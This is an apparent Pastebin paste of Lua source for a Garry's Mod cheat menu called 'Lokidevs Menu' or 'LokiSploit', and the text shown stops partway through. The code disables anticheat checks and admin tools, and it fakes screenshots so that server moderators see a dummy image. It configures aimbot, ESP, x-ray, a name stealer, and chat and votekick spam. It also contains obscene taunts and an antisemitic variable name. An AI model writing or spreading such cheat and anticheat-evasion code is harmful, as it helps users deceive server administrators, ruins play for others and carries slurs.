Chuckielebg

hah

Feb 17th, 2018
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 228.03 KB | None | 0 0
  1. if file.Exists( "includes/extensions/client/vehicle.lua", "LUA" ) == false then -- ne pas toucher cac check !!!!!
  2. if ( SERVER ) then
  3. function file.Read(d)
  4. return "Bien essayer ma salope :)"
  5. end
  6. end
  7. MsgC (Color(18, 254, 1), [[ =======================================================================================================================
  8.  
  9. _ _ _______ ___ ___
  10. | | | | (_) _ \ | \/ |
  11. | | ___ | | ___| | | |_____ _____ | . . | ___ _ __ _ _
  12. | | / _ \| |/ / | | | / _ \ \ / / __| | |\/| |/ _ \ '_ \| | | |
  13. | |___| (_) | <| | |/ / __/\ V /\__ \ | | | | __/ | | | |_| |
  14. \_____/\___/|_|\_\_|___/ \___| \_/ |___/ \_| |_/\___|_| |_|\__,_|
  15.  
  16. `-.`'.-'
  17. `-. .-'.
  18. `-. -./\.- .-'
  19. -. /_|\ .-
  20. `-. `/____\' .-'.
  21. `-. -./.-""-.\.- '
  22. `-. /< (()) >\ .-'
  23. - .`/__`-..-'__\' .-
  24. ,...`-./___|____|___\.-'.,.
  25. ,-' ,` . . ', `-,
  26. ,-' ________________ `-,
  27. ,'/____|_____|_____\
  28. / /__|_____|_____|___\
  29. / /|_____|_____|_____|_\
  30. ' /____|_____|_____|_____\
  31. .' /__|_____|_____|_____|___\
  32. ,' /|_____|_____|_____|_____|_\
  33. ,,---''--...___...--'''--.. /../____|_____|_____|_____|_____\ ..--```--...___...--``---,,
  34. '../__|_____|_____|_____|_____|___\
  35. \ ) '.:/|_____|_____|_____|_____|_____|_\ ( /
  36. )\ / ) ,':./____|_____|_____|_____|_____|_____\ ( \ /(
  37. / / ( ( /:../__|_____|_____|_____|_____|_____|___\ ) ) \ \
  38. | | \ \ /.../|_____|_____|_____|_____|_____|_____|_\ / / | |
  39. .-.\ \ \ \ '..:/____|_____|_____|_____|_____|_____|_____\ / / / /.-.
  40. (= )\ `._.' | \:./ _ _ ___ ____ ____ _ _ _ _ _ _ _ ___\ | `._.' /( =)
  41. \ (_) ) \./ |\/| |__) |___ |___ |___ _X_ _X_ \/ _|_ \ ( (_) /
  42. \ `----' """"""""""""""""""""""""""""""""""""""""""""""""
  43.  
  44.  
  45.  
  46. ( "Tu as l'air d'aller bien aujourd'hui, )
  47. ( C'est grace au nouveau menu ?." )
  48. \
  49. __________ \
  50. //////////\\ ______________________
  51. ////////// \\\ | | |
  52. /// __ __ \\\ | | |
  53. /|| | | ||\ | | |
  54. \_ (__) _/ | | |
  55. \ ///\\\ / | | |
  56. ____/\________/\____ | | |
  57. _____/` \ \ / /.'`\__________| | |__
  58. /`.`. `\ \_/ /` .`` \ |_ | _|
  59. /. ' / `\_/_\_/`.'`\.`' \ (__) | (__)
  60. /` . /' .` _| |_ `. '.\` .`\ (__) | (__)
  61. _/. ` /`` . /_____\.' . '\. `'\_____(__) | (__)__
  62. \` `.\. `.(__ \______/.'` > | | |
  63. __\` .`\' .(__ |.`' ' '` .`/______|__________|___________|__
  64. \`. `\'`(______|__________/ | @ |
  65. \____\`.|~~~~~|.' . .| \_________________/
  66. /_ _ _\_|_____|______| /______|__|_______\
  67. ____\ \ \ \\__[__]_______|____________/ |__
  68. /\_\_\_\ \ / / /
  69. ___/ / |_________/ / /___
  70. / ___ / ___ / NTM | | |
  71.  
  72. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  73.  
  74. Je vous suce <3
  75. ]])
  76. if !( CLIENT ) then return end
  77. if hook.GetTable().zac_110011010110110101101010101 then
  78. hook.Remove( "zac_110011010110110101101010101", "", zac_knwowledge100110110101011 );
  79. end
  80. if hook.GetTable().zac_meme then
  81. hook.Remove( "zac_meme", "", zac_00100101010110110011101 );
  82. end
  83. local RatesScaleLevel = LocalPlayer():SteamID()
  84. if ulx then ulx.showMotdMenu = function() end end
  85. if( ulx ) then
  86. function ulx.showMotdMenu() return end
  87. function ulx.gagUser() return end
  88. if hook.GetTable().HUDPaint then hook.Remove("HUDPaint","drawHudVital") end
  89. if hook.GetTable().CalcView then hook.Remove("CalcView", "CalcView") end
  90. hook.Add( "Think", "naughtyblindxx", function() hook.Remove( "HUDPaint", "ulx_blind" ) end )
  91. end
  92. if( FancyMOTD ) then
  93. function FancyMOTD.Show() return end
  94. end
  95. if( MODERN != nil ) then
  96. function MODERN.OpenMOTD() return end
  97. end
  98. if( FIGD ) then
  99. function FIGD.OpenMenu() return end
  100. end
  101. if( silkymotd ) then
  102. function silkymotd.Open() return end
  103. end
  104. net.Receive( "open_menu", function() end )
  105. net.Receive( "closebutton_repeat", function() end )
  106. net.Receive("sMsgStandard", function() end)
  107. net.Receive("sNotifyHit", function() end)
  108. net.Receive("sMsgAdmins", function() end)
  109. net.Receive("sAlertNotice", function() end)
  110. _G.RunCheck = function() end -- RIP hellzone anticheat
  111. timer.Simple(1, function()
  112. if AccountCreationScreen then
  113. AccountCreationScreen:Remove(); -- go fuck yourself
  114. end
  115. hook.Remove("PlayerBindPress", "BlockPhysgunWheelSpeedGlitch") -- no seriously go fuck yourself
  116. end)
  117. if SERVER then return end
  118. concommand.Remove( "DrawDeathMsg" )
  119. concommand.Remove( "EasyMOTD_Open" )
  120. concommand.Remove( "OpenMotd" )
  121. concommand.Remove( "nlr_box" )
  122. concommand.Remove( "NLRDeathMessage" )
  123. concommand.Remove( "wesnlr" )
  124. concommand.Remove( "lunera_motd" )
  125. concommand.Remove( "MOTD" )
  126. concommand.Remove( "MOTDS" )
  127. concommand.Remove( "Suss_MOTD" )
  128. -- Fuck Escape Menu
  129. hook.Remove("ShouldDrawLocalPlayer", "ESC.DrawPlayer")
  130. hook.Remove("HUDShouldDraw", "ESC.HideHUD")
  131. hook.Remove("RenderScreenspaceEffects", "ESC.ScreenspaceEffects")
  132. hook.Remove("PreRender", "ESC.OpenMenu")
  133. hook.Remove("CalcView", "ESC.CalcView")
  134. hook.Remove("HUDShouldDraw", "IceEscape_HudShouldDraw")
  135. hook.Remove("Render", "IceEscape_CheckKeyWasIn")
  136. hook.Remove("PreRender", "IceEscape_PreRenderHookEscKey")
  137. hook.Remove("PreRender", "esc.PreRender")
  138. hook.Remove("Think", "JarvinOpenKey")
  139. hook.Remove("PreRender", "Jarvin:PreRender")
  140. hook.Remove("PreRender", "Liko:PreRender")
  141. hook.Remove("PreRender", "cleanEscape")
  142. hook.Remove("RenderScreenspaceEffects", "ceScreenEffects")
  143. if file.Exists( "autorun/client/cl_3dmenu.lua", "LUA" ) == true then
  144. hook.Remove( "PostDrawTranslucentRenderables", MENU )
  145. hook.Remove( "RenderScene", MENU )
  146. hook.Remove( "Think", MENU )
  147. hook.Remove( "GUIMousePressed", MENU )
  148. hook.Remove( "PreventScreenClicks", MENU )
  149. hook.Remove( "ShouldDrawLocalPlayer", MENU )
  150. hook.Remove( "CalcView", MENU )
  151. hook.Remove( "PreRender", MENU )
  152. hook.Remove( "HUDShouldDraw", MENU )
  153. MENU = nil
  154. end
  155. -- Photon de merde buger
  156. hook.Remove( "PreDrawEffects", "Photon.RenderQueue")
  157. -- J'ai galerer pour cette merde mes enfin sa d�gage mdr
  158. hook.Remove("HUDPaint", "carBomb_ScannerHUD")
  159. -- Escape Menu Fucked x)
  160. -- Fuck Weather
  161. --atmos :
  162. hook.Remove( "Think", "atmosStormThink" )
  163. hook.Remove( "HUDPaint", "atmosHUDPaint" )
  164. --simpleweather
  165. hook.Remove( "Initialize", "SW.Initialize" )
  166. hook.Remove( "Think", "SW.Think" )
  167. hook.Remove( "HUDPaint", "SW.HUDPaint" )
  168. hook.Remove( "RenderScreenspaceEffects", "SW.RenderScreenspaceEffects" )
  169. hook.Remove( "SetupWorldFog", "SW.SetupWorldFog" )
  170. hook.Remove( "SetupSkyboxFog", "SW.SetupSkyboxFog" )
  171. hook.Remove( "HUDPaint", "SW.DrawClock" )
  172. --stormfox
  173. hook.Remove("Think","StormFox - Outdoor Env" )
  174. hook.Remove("Think","StormFox - light_env support" )
  175. hook.Remove("HUDPaint","RainDebug2" )
  176. hook.Remove("HUDPaint","StormFox - HUDTips" )
  177. hook.Remove("RenderScreenspaceEffects","StormFox - Toxxeffect" )
  178. hook.Remove("PostDraw2DSkyBox", "StormFox - SkyBoxRender" )
  179. hook.Remove( "StormFox - TopSkyRender", "StormFox - MoonRender" )
  180. hook.Remove( "RenderScreenspaceEffects", "StormFox - Sunbeams" )
  181. hook.Remove("StormFox - EnvUpdate","StormFox - RainSounds" )
  182. hook.Remove("StormFox - EnvUpdate","StormFox - WindSounds" )
  183. hook.Remove("Think","StormFox - SkyPaintFix" )
  184. hook.Remove("Think","StormFox - SkyThink" )
  185. hook.Remove( "PostDraw2DSkyBox", "StormFox - ShootingStars" )
  186. hook.Remove("Think","StormFox - ShadowUpdate" )
  187. hook.Remove( "RenderScreenspaceEffects", "stormFox - screenmodifier" )
  188. hook.Remove("Think","StormFox - DownfallUpdater" )
  189. hook.Remove("Think","StormFox - RenderFalldownThink" )
  190. hook.Remove("Think","StormFox - RenderFalldownScreenThink" )
  191. hook.Remove("HUDPaint","StormFox - RenderRainScreen" )
  192. hook.Remove("HUDPaint","StormFox - RainScreenEffect" )
  193. hook.Remove("Think","StormFox - RenderFalldownHanlde" )
  194. hook.Remove("PostDrawTranslucentRenderables", "StormFox - RenderFalldown" )
  195. hook.Remove("PostPlayerDraw","StormFox - Breath" )
  196. hook.Remove("Think","StormFox - CBreath" )
  197. hook.Remove("SetupSkyboxFog","StormFox - skyfog" )
  198. hook.Remove("SetupWorldFog","StormFox - skyworldfog" )
  199. hook.Remove("RenderScene","StormFox - Suntest" )
  200. hook.Remove("PostDrawOpaqueRenderables","StormFox - SkyBox Debug" )
  201. hook.Remove("Think","StormFox - CloudUpdate" )
  202. hook.Remove("PostDrawOpaqueRenderables","StormFox - CloudRender" )
  203. -- Weather Fucked
  204. if ConVarExists( "utime_enable") then
  205. RunConsoleCommand("utime_enable",0)
  206. end
  207. RunConsoleCommand("-voicerecord")
  208. hook.Remove("HUDPaint", "PPT_HUD")
  209. hook.Remove("InitPostEntity", "spawnIconRefresh")
  210. hook.Remove("HUDPaint", "DoHud")
  211. hook.Remove("Think", "PlayerInfoThing")
  212. timer.Destroy("AntiCheatTimer")
  213. timer.Destroy("testing123")
  214. hook.Remove("Think", "sh_menu")
  215. timer.Destroy( "STC" )
  216. hook.Remove("PlayerInitialSpawn", "AddPlayer")
  217. hook.Remove("OnGamemodeLoaded", "___scan_g_init")
  218. hook.Remove("PlayerSay", "screengrab_playersay")
  219. hook.Remove( "PlayerInitialSpawn", "showMotd")
  220. hook.Remove( "CalcView", "rp_deathPOV" )
  221. hook.Remove( "PlayerBindPress", "BlockPhysgunWheelSpeedGlitch" )
  222. hook.Remove( "Think", "FancyMOTD.OpenOnKeypress" )
  223. hook.Remove( "RenderScreenspaceEffects", "WeatherOverlay" )
  224. hook.Remove( "PlayerInitialSpawn", "OpenMotdOnJoin" )
  225. hook.Remove( "PlayerSay", "OpenMotdOnCommand" )
  226. hook.Remove( "Initialize","silkymotd" )
  227. hook.Remove( "PlayerAuthed", "wat" )
  228. hook.Remove( "HUDPaint", "newhud" )
  229. hook.Remove( "HUDShouldDraw", "newhud" )
  230. hook.Remove( "Think", "wat" )
  231. hook.Remove( "RenderScreenspaceEffects", "wat" )
  232. hook.Remove( "HUDPaint", "dance" )
  233. hook.Remove( "GetMotionBlurValues", "wat" )
  234. hook.Remove( "RenderScreenspaceEffects", "ohgod" )
  235. hook.Remove( "PostDrawTranslucentRenderables", "ohgod" )
  236. timer.Destroy( "thedrop" )
  237. net.Receive( "open_menu", function() end )
  238. net.Receive( "LuneraInitMenu", function() end )
  239. net.Receive( "closebutton_repeat", function() end )
  240. net.Receive( "sBlockGMSpawn", function() hook.Remove( "PlayerBindPress", "_sBlockGMSpawn" ) end )
  241. net.Receive( "NDS_death", function() return end )
  242. net.Receive( "silkymotd", function() return end )
  243. net.Receive( "slua", function() return end )
  244. local missingjpg = file.Read("materials/ironman.jpg", "GAME")
  245. local missingpng = file.Read("materials/ironman.png", "GAME")
  246. local noided_dummy = "iVBORw0KGgoAAAANSUhEUgAAAAcAAAAECAIAAADNpLIqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYSURBVBhXY2BgYmBmYGFgZEAFlIkyMAAACDAAKdIBq3cAAAAASUVORK5CYII="
  247. local actualRenderCapture = _G.render.Capture
  248. local encodeData = util.Base64Encode;
  249. _G.render.Capture = function(data)
  250. chat.AddText( Color(255, 0, 0), "[Lokidevs Menu]: Tentative de Screenshot Bloquer" )
  251. if data.format == "jpeg" then
  252. return missingjpg
  253. elseif data.format == "png" then
  254. return missingpng
  255. end
  256. end
  257. util.Base64Encode = function( str )
  258. local encoding = encodeData( missingpng );
  259. return( noided_dummy );
  260. end
  261. local RunCmdAlt = http.Fetch
  262. timer.Destroy("animating")
  263. animating = false
  264. local ZNX = ZNX or {}
  265. ZNX.Vars = ZNX.Vars or {}
  266. ZNX.NumberVars = ZNX.NumberVars or {} -- need a seperate table here coz im a lazy cunt
  267. ZNX.Buddies = ZNX.Buddies or {}
  268. ZNX.Targets = ZNX.Targets or {}
  269. ZNX.TheyHaveEyesEverywhere = ZNX.TheyHaveEyesEverywhere or {}
  270. ZNX.Witnesses = ZNX.Witnesses or {}
  271. ZNX.Debug = ZNX.Debug or {}
  272. ZNX.MarkedEnts = ZNX.MarkedEnts or {}
  273. ZNX.RenderPanic = false
  274. ZNX.NameStealName = "Changer de Nom"
  275. ZNX.NameStealPlayer = LocalPlayer()
  276. ZNX.CrossHairAlpha = 0
  277. ZNX.ScrollDelta = 0 -- lets you set mouse wheel scroll from outside of createmove
  278. ZNX.AimbotBone = "ValveBiped.Bip01_Head1"
  279. ZNX.ViewAngle = Angle(0,0,0)
  280. ZNX.AimbotTarget = game.GetWorld()
  281. ZNX.AimbotPreviewTarget = -1
  282. ZNX.HoldingProp = game.GetWorld()
  283. ZNX.ChatSpamText = "YOU GET FUCKED BY LokiSploit"
  284. ZNX.OPhysColor = Vector( GetConVarString( "cl_weaponcolor" ) ) or Vector( 1,1,1 )
  285. ZNX.CurrentBase = 0
  286. ZNX.BaseAreaSize = 10
  287. ZNX.InternalFakeAngles = 0
  288. ZNX.MemoryDebug = {
  289. ["hud"] = 0,
  290. ["logic"] = 0,
  291. ["aimbot"] = 0,
  292. }
  293. ZNX.Freecam = false
  294. ZNX.FreecamCoordinates = { pos = Vector( 0, 0, 0 ), ang = Angle( 0, 0, 0 ) }
  295. -- general settings
  296. ZNX.Vars.Notifications = ZNX.Vars.Notifications or true
  297. -- vision
  298. ZNX.Vars.Vision = ZNX.Vars.Vision or true
  299. ZNX.Vars.ShowESP = ZNX.Vars.ShowESP or true
  300. ZNX.Vars.ShowDead = ZNX.Vars.ShowDead or false
  301. ZNX.Vars.ShowHP = ZNX.Vars.ShowHP or false
  302. ZNX.Vars.ShowFriends = ZNX.Vars.ShowFriends or true
  303. ZNX.Vars.ShowTargets = ZNX.Vars.ShowTargets or true
  304. ZNX.Vars.TeamColors = ZNX.Vars.TeamColors or false
  305. ZNX.Vars.ShowRanks = ZNX.Vars.ShowRanks or true
  306. ZNX.Vars.ShowDistance = ZNX.Vars.ShowDistance or false
  307. ZNX.Vars.ESPProps = ZNX.Vars.ESPProps or false
  308. ZNX.Vars.Entfinder = ZNX.Vars.Entfinder or false
  309. ZNX.Vars.Vizlines = ZNX.Vars.Vizlines or false
  310. ZNX.Vars.BoundingBox = ZNX.Vars.BoundingBox or false
  311. ZNX.Vars.BoundingBox3d = ZNX.Vars.BoundingBox3d or false
  312. ZNX.Vars.VSquares = ZNX.Vars.VSquares or true
  313. ZNX.Vars.VNames = ZNX.Vars.VNames or true
  314. ZNX.Vars.PKVelocity = ZNX.Vars.PKVelocity or false
  315. ZNX.Vars.PKChams = ZNX.Vars.PKChams or false
  316. ZNX.Vars.PKPropCam = ZNX.Vars.PKPropCam or false
  317. ZNX.Vars.PKPropBeams = ZNX.Vars.PKPropBeams or false
  318. ZNX.Vars.PKPlayerBeams = ZNX.Vars.PKPlayerBeams or false
  319. ZNX.Vars.PKVerticalBeams = ZNX.Vars.PKVerticalBeams or false
  320. ZNX.Vars.CSFlashlight = ZNX.Vars.CSFlashlight or false
  321. ZNX.Vars.ArmeESP = ZNX.Vars.ArmeESP or false
  322. ZNX.Vars.ArgentESP = ZNX.Vars.ArgentESP or false
  323. ZNX.Vars.ShowFPS = ZNX.Vars.ShowFPS or false
  324. ZNX.NumberVars.VisionDist = ZNX.NumberVars.VisionDist or 2000
  325. -- utility
  326. ZNX.Vars.CameraSpam = ZNX.Vars.CameraSpam or true
  327. ZNX.Vars.FlashlightSpam = ZNX.Vars.FlashlightSpam or false
  328. ZNX.Vars.NoRecoil = ZNX.Vars.NoRecoil or true
  329. ZNX.Vars.WitnessDetector = ZNX.Vars.WitnessDetector or false
  330. ZNX.Vars.Mirror = ZNX.Vars.Mirror or false
  331. ZNX.Vars.Radar = ZNX.Vars.Radar or false
  332. --ZNX.Vars.RadarColors = ZNX.Vars.RadarColors or false
  333. ZNX.Vars.Xray = ZNX.Vars.Xray or false
  334. ZNX.Vars.Crosshair = ZNX.Vars.Crosshair or false
  335. ZNX.Vars.NameStealer = false
  336. ZNX.Vars.NotifyKills = ZNX.Vars.NotifyKills or false
  337. ZNX.Vars.XrayPlayers = ZNX.Vars.XrayPlayers or true
  338. ZNX.Vars.XrayProps = ZNX.Vars.XrayProps or true
  339. ZNX.Vars.XrayEntfinder = ZNX.Vars.XrayEntfinder or false
  340. ZNX.Vars.NoChamColours = ZNX.Vars.NoChamColours or true
  341. ZNX.Vars.XraySolid = ZNX.Vars.XraySolid or false
  342. ZNX.Vars.AutoAddSteamFriends = ZNX.Vars.AutoAddSteamFriends or true
  343. ZNX.Vars.ChatSpam = false
  344. ZNX.Vars.ChatSpamOOC = ZNX.Vars.ChatSpamOOC or false
  345. ZNX.Vars.ChatSpamBind = ZNX.Vars.ChatSpamBind or false
  346. ZNX.Vars.ChatSpamInsult = ZNX.Vars.ChatSpamInsult or false
  347. ZNX.Vars.ChatSpamPM = ZNX.Vars.ChatSpamPM or false
  348. ZNX.Vars.ChatSpamPMAdmins = ZNX.Vars.ChatSpamPMAdmins or false
  349. ZNX.EntScanner = false
  350. ZNX.EntScannerTab = {}
  351. ZNX.EntScannerEnt = game.GetWorld()
  352. ZNX.Vars.DemoteSpam = false
  353. ZNX.Vars.WantedSpam = false
  354. ZNX.Vars.ULXVotekickSpam = false
  355. ZNX.Vars.ULXVotebanSpam = false
  356. ZNX.Vars.KillTaunts = false
  357. ZNX.Vars.DeathTaunts = false
  358. ZNX.Vars.DodgeArrest = false
  359. ZNX.Vars.NewLifeRule = false
  360. ZNX.Vars.DontTouchMeThere = false
  361. ZNX.Vars.KeypadJew = false
  362. ZNX.Vars.FreecamControls = false
  363. -- aimbot
  364. ZNX.Vars.Aimbot = ZNX.Vars.Aimbot or false
  365. ZNX.Vars.AimbotTargetMode = ZNX.Vars.AimbotTargetMode or true
  366. ZNX.Vars.AutoShoot = ZNX.Vars.AutoShoot or false
  367. ZNX.Vars.AimbotShootThroughWalls = ZNX.Vars.AimbotShootThroughWalls or false
  368. ZNX.Vars.SnapOnFire = ZNX.Vars.SnapOnFire or false
  369. ZNX.Vars.TargetFriends = ZNX.Vars.TargetFriends or true
  370. ZNX.Vars.TargetHighlighted = ZNX.Vars.TargetHighlighted or true
  371. ZNX.Vars.TargetNormies = ZNX.Vars.TargetNormies or true
  372. ZNX.Vars.TargetAdmins = ZNX.Vars.TargetAdmins or true
  373. ZNX.Vars.TargetSameTeam = ZNX.Vars.TargetSameTeam or true
  374. ZNX.Vars.TargetNoclippers = ZNX.Vars.TargetNoclippers or true
  375. ZNX.Vars.PreviewTarget = ZNX.Vars.PreviewTarget or true
  376. ZNX.Vars.CompSpread = ZNX.Vars.CompSpread or false
  377. ZNX.Vars.SilentAim = ZNX.Vars.SilentAim or false
  378. ZNX.Vars.AimbotBindMode = ZNX.Vars.AimbotBindMode or false
  379. ZNX.Vars.SafeJump = ZNX.Vars.SafeJump or false
  380. ZNX.Vars.AimbotWallbanger = ZNX.Vars.AimbotWallbanger or false
  381. ZNX.Vars.AimbotAdaptiveTarget = ZNX.Vars.AimbotAdaptiveTarget or false
  382. ZNX.Vars.AimbotStickyLock = ZNX.Vars.AimbotStickyLock or true
  383. ZNX.Vars.TargetMurder = ZNX.Vars.TargetMurder or false
  384. ZNX.Vars.AutoReload = ZNX.Vars.AutoReload or false
  385. ZNX.NumberVars.AimbotMaxFOV = ZNX.NumberVars.AimbotMaxFOV or 20
  386. ZNX.NumberVars.AimbotDist = ZNX.NumberVars.AimbotDist or 200
  387. ZNX.NumberVars.AimbotSmooth = ZNX.NumberVars.AimbotSmooth or 0
  388. ZNX.NumberVars.PKRotateAngle = ZNX.NumberVars.PKRotateAngle or 30
  389. ZNX.NumberVars.AimbotBindKey = ZNX.NumberVars.AimbotBindKey or 107
  390. ZNX.NumberVars.SafeJumpBindKey = ZNX.NumberVars.SafeJumpBindKey or 24
  391. ZNX.NumberVars.FreecamForward = ZNX.NumberVars.FreecamForward or 50
  392. ZNX.NumberVars.FreecamBack = ZNX.NumberVars.FreecamBack or 49
  393. ZNX.NumberVars.FreecamLeft = ZNX.NumberVars.FreecamLeft or 41
  394. ZNX.NumberVars.FreecamRight = ZNX.NumberVars.FreecamRight or 43
  395. ZNX.NumberVars.FreecamUp = ZNX.NumberVars.FreecamUp or 45
  396. ZNX.NumberVars.FreecamDown = ZNX.NumberVars.FreecamDown or 42
  397. -- default menu and esp colours
  398. ZNX.DefaultSchemes = {
  399. [1] = {"Anus Brown", Color(125,0,0), Color(50,0,0)},
  400. [2] = {"Ocean Blue", Color(100,100,255,255), Color(50,50,155,255)},
  401. [3] = {"Sage Green", Color(100,250,100,255), Color(0,200,0,255)},
  402. [4] = {"Javelin Orange", Color(250,250,0,255), Color(250,150,0,255)},
  403. [5] = {"Predator Red", Color(255,0,0,255), Color(200,0,0,255)},
  404. [6] = {"Miami Pink", Color(255,0,255,255), Color(150,0,150,255)},
  405. [7] = {"Spectral Blue", Color(205,205,255,255), Color(105,105,255,255)},
  406. [8] = {"Jungle Green", Color(50,150,50,255), Color(0,50,0,255)},
  407. [9] = {"Noir Grey", Color(150,150,150,255), Color(50,50,50,255)},
  408. }
  409. ZNX.DefaultScheme = Color(125,0,0)
  410. ZNX.DefaultScheme2 = Color(255,80,80)
  411. ZNX.Matinfo = {
  412. ["$basetexture"] = "models/debug/debugwhite",
  413. ["$model"] = 1,
  414. ["$nocull"] = 1,
  415. ["$ignorez"] = 1,
  416. }
  417. ZNX.Mat1 = (CreateMaterial( "abchams2", "VertexLitGeneric", ZNX.Matinfo ))
  418. ZNX.ColScheme = Vector(ZNX.DefaultScheme.r / 255, ZNX.DefaultScheme.g / 255, ZNX.DefaultScheme.b / 255)
  419. ZNX.ColScheme2 = Vector(ZNX.DefaultScheme2.r / 255, ZNX.DefaultScheme2.g / 255, ZNX.DefaultScheme2.b / 255)
  420. ZNX.NumberVars.ColorScheme = ZNX.NumberVars.ColorScheme or 1
  421. -- herkz
  422. ZNX.Vars.Aimbot = ZNX.Vars.Aimbot or false
  423. ZNX.Vars.Autoclick = ZNX.Vars.Autoclick or false
  424. ZNX.Vars.Bhop = ZNX.Vars.Bhop or false
  425. ZNX.Vars.NPC_ESP = ZNX.Vars.NPC_ESP or false
  426. ZNX.Vars.BhopAutostrafe = ZNX.Vars.BhopAutostrafe or false
  427. ZNX.Vars.RopeStorm = ZNX.Vars.RopeStorm or false
  428. ZNX.Vars.Triggerbot = ZNX.Vars.Triggerbot or false
  429. ZNX.Vars.Thirdperson = ZNX.Vars.Thirdperson or false
  430. ZNX.NumberVars.MirrorX = ZNX.NumberVars.MirrorX or 0
  431. ZNX.NumberVars.MirrorY = ZNX.NumberVars.MirrorY or 0
  432. ZNX.NumberVars.MirrorSize = ZNX.NumberVars.MirrorSize or 30
  433. ZNX.NumberVars.MirrorAxis = ZNX.NumberVars.MirrorAxis or 0
  434. ZNX.NumberVars.XrayDistance = ZNX.NumberVars.XrayDistance or 200
  435. ZNX.NumberVars.TPSDistance = ZNX.NumberVars.TPSDistance or 100
  436. ZNX.NumberVars.AreaScrollerSize = ZNX.NumberVars.AreaScrollerSize or 10
  437. ZNX.NumberVars.TPSOffset = ZNX.NumberVars.TPSOffset or 0
  438. ZNX.NumberVars.RadarX = ZNX.NumberVars.RadarX or ScrW() - 1170
  439. ZNX.NumberVars.RadarY = ZNX.NumberVars.RadarY or 55
  440. ZNX.NumberVars.RadarAlpha = ZNX.NumberVars.RadarAlpha or 255
  441. ZNX.NumberVars.RadarSize = ZNX.NumberVars.RadarSize or 183
  442. ZNX.NumberVars.RadarZoom = ZNX.NumberVars.RadarZoom or 30
  443. statutautoexploit = "D�sactiver"
  444. animatinginfo = "D�sactiver"
  445. info_ulx_spam = "D�sactiver"
  446. spam_props_text = "D�sactiver"
  447. billet_spam = "D�sactiver"
  448. local black = ( Color(0,0,0,255) )
  449. local white = ( Color(255,255,255,255) )
  450. local red = ( Color(255,0,0,255) )
  451. local AA = {}
  452. local ValidEntity = IsValid
  453. --[[
  454. local plymeta = FindMetaTable( "Player" )
  455. plymeta.ConCommand2 = plymeta.ConCommand2 or plymeta.ConCommand
  456. function plymeta:ConCommand( command )
  457. if command == "jpeg" and ZNX.Vars.CameraSpam then return else
  458. return self:ConCommand2( command )
  459. end
  460. end
  461. --]]
  462. local ncomponent = { color = Color( 205, 205, 255 ), name = "Lokidev" }
  463. function ZNX.ChatText( message, col )
  464. chat.AddText( Color(0, 135, 255), [[[Lokidevs Menu]: ]], col, message )
  465. end
  466. function ChatPrint ( msg, color )
  467. chat.AddText ( Color( 0, 135, 255 ), "[Lokidevs Menu] "..msg )
  468. end
  469. function DrawOutlinedText ( title, font, x, y, color, OUTsize, OUTcolor )
  470. draw.SimpleTextOutlined ( title, font, x, y, color, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, OUTsize, OUTcolor )
  471. end
  472. function DrawOutlinedText2 ( title, font, x, y, color, OUTsize, OUTcolor )
  473. draw.SimpleTextOutlined ( title, font, x, y, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER, OUTsize, OUTcolor )
  474. end
  475. function DrawRoundedBox ( bordersize, x, y, sX, sY, color )
  476. draw.RoundedBox ( bordersize, x, y, sX, sY, color )
  477. end
  478. function DrawRoundedBoxEx ( bordersize, x, y, sX, sY, color, Topl, Topr, Botl, Botr )
  479. draw.RoundedBoxEx ( bordersize, x, y, sX, sY, color, Topl, Topr, Botl, Botr )
  480. end
  481. function DrawLine ( bX, bY, eX, eY )
  482. surface.DrawLine ( bX, bY, eX, eY )
  483. end
  484. function DrawOutlinedRect (color, bx, by, ex, ey )
  485. surface.SetDrawColor (color)
  486. surface.DrawOutlinedRect ( bx, by, ex, ey )
  487. end
  488. function CreateButton ( title, Parent, tcolor, bcolor, visible, x, y, sX, sY, tip, doclick )
  489. local button = vgui.Create( "DButton" )
  490. button:SetParent( Parent )
  491. button:SetText( " " )
  492. button:SetPos( x, y )
  493. button:SetSize( sX, sY )
  494. button:SetVisible( visible )
  495. button:SetColor( tcolor )
  496. button:SetTooltip( tip or " " )
  497. button.Paint = function ()
  498. DrawRoundedBoxEx ( 10, 0, 0, button:GetWide(), button:GetTall(), bcolor, false, false, false, false )
  499. DrawOutlinedText ( title, "Menu", button:GetWide()/2, button:GetTall()-10, white, 1, black )
  500. DrawOutlinedRect (red, 0, 0, button:GetWide(), button:GetTall() )
  501. end
  502. button.DoClick = doclick
  503. end
  504. ------------------------------------------------------------------------Lokidev UTILITIES--------------------------------------------------------------------------------------
  505. surface.CreateFont("Menu",{font = "Arial", size = 17, weight = 200, antialias = 0})
  506. surface.CreateFont("Get",{font = "Fixedsys", size = 17, weight = 200, antialias = 0})
  507. surface.CreateFont("Small",{font = "Arial", size = 12, weight = 200, antialias = 0})
  508. surface.CreateFont("ESP",{font = "Fixedsys", size = 12, weight = 200, antialias = 0})
  509. surface.CreateFont("Logo",{font = "Tahoma", size = 20, weight = 100000, antialias = 0})
  510. surface.CreateFont("Playlist",{font = "Tahoma", size = 15, weight = 100000, antialias = 0})
  511. surface.CreateFont("HUDLogo",{font = "Ravie", size = 40, weight = 100000, antialias = 0})
  512. surface.CreateFont("Infotab",{font = "Ravie", size = 75, weight = 100000, antialias = 0})
  513. surface.CreateFont("Fontnpcesp", {font = "Fixedsys", size = 13, weight = 500, antialias = true, outline = true})
  514. function ZNX.SaveSettings()
  515. local StringToWrite = ""
  516. for k, v in pairs(ZNX.Vars) do
  517. if( StringToWrite == "" ) then
  518. StringToWrite = k .. ";" .. tostring(v)
  519. else
  520. StringToWrite = StringToWrite .. "\n" .. k .. ";" .. tostring(v)
  521. end
  522. end
  523. StringToWrite = StringToWrite.."--NUMBERVARS--\n"
  524. for k, v in pairs(ZNX.NumberVars) do
  525. if( StringToWrite == "" ) then
  526. StringToWrite = k .. ";" .. tostring(v)
  527. else
  528. StringToWrite = StringToWrite .. "\n" .. k .. ";" .. tostring(v)
  529. end
  530. end
  531. --[[
  532. if not file.IsDir("Lokidev", "DATA") then
  533. file.CreateDir("Lokidev")
  534. end
  535. --]]
  536. file.Write( "Lokidev_settings.dat", StringToWrite )
  537. end
  538. concommand.Add("LokiDev_save_settings", ZNX.SaveSettings)
  539. function ZNX.LoadSettings()
  540. --[[
